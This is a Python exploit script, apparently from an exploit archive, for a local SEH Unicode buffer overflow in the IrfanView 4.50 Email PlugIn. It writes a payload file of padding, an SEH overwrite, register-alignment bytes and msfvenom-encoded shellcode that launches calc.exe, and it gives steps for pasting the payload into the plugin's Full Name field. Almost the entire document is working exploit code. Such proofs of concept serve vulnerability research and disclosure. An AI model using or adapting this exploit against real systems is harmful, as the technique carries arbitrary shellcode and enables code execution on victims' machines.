75 lines
No EOL
2.1 KiB
Python
Executable file
75 lines
No EOL
2.1 KiB
Python
Executable file
#!/usr/bin/python
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#
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# Exploit Author: bzyo
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# Twitter: @bzyo_
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# Exploit Title: IrfanView 4.50 Email PlugIn - Local Buffer Overflow (SEH Unicode)
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# Date: 02-07-2018
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# Vulnerable Software: IrfanView 4.50 Email PlugIn
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# Vendor Homepage: http://www.irfanview.com/
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# Version: 4.50
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# Software Link: http://www.irfanview.info/files/irfanview_450.exe
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# Software Link: http://www.irfanview.info/files/irfanview_plugins_450.zip
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# Tested Windows 7 SP1 x86
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#
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# More reliable result if .NET and updates installed prior to application being installed
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#
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#
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# PoC
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# 1. generate irfan.txt, copy contents to clipboard
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# 2. open IrfanView and a sample image from My Pictures (i.e. Chrysanthemum.jpg)
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# 3. select Options, Send by Email, Settings
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# 4. paste contents from clipboard into Full Name and select OK
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# 5. application crashes
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# 6. pop calc
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# ****if calc doesn't pop on first try, repeat steps 2-4 until it does :/
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#
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filename="irfan.txt"
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#junk to offset
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junk = "\x41"*262
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#popad
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nseh = "\x61\x62"
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#0x00500102 pop esi pop ebx ret
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#unicode possible ansi transform(s) : 0050008A->00500106,ascii {PAGE_EXECUTE_READ} [i_view32.exe]
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seh = "\x8a\x50"
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valign = (
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"\x55" #push ebp
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"\x47" #align
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"\x58" #pop eax
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"\x47" #align
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"\x05\x14\x11" #add eax,400
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"\x47" #align
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"\x2d\x13\x11" #sub eax,300
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"\x47" #align
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"\x50" #push eax
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"\x47" #align
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"\xc3" #retn
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)
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#nops to shellcode
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nops = "\x71" * 109
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#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
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calc = (
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"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"
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"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHE2KPKPM0C0U9IU01I02D4K0P004"
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"K0RLLTK0RLT4KT2NHLOH7OZO601KOVLOLQQSLLBNLMPWQHOLMM197K2KBQB0WTK0RN0DKPJOLDK0LLQR"
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"XIS18M1J121TK1IMPKQYC4KPILXJCOJQ9TKOD4KKQ8VP1KOFL91XOLMM1WWP8IPD5ZVLCCMKHOKSMO42"
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"UK428DKPXNDM1ICBFTKLLPKDKB8MLM19CDKLD4KKQHP3YQ4O4MTQKQK1Q291JPQKOIP1OQOPZ4KLRJK4M"
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"1MRJM14MU5WBM0M0M0R0QX014K2OTGKO9EGKL06UFBB6C85VF5GM5MKOJ5OLKVSLKZE0KKIPBUM57KQ7M"
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"CSB2ORJM0PSKOIEBCC1BL1SNN2E2XC5M0AA"
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)
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#necessary fill
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fill = "\x71"*1000
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buffer = junk + nseh + seh + valign + nops + calc + fill
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textfile = open(filename , 'w')
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textfile.write(buffer)
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textfile.close() |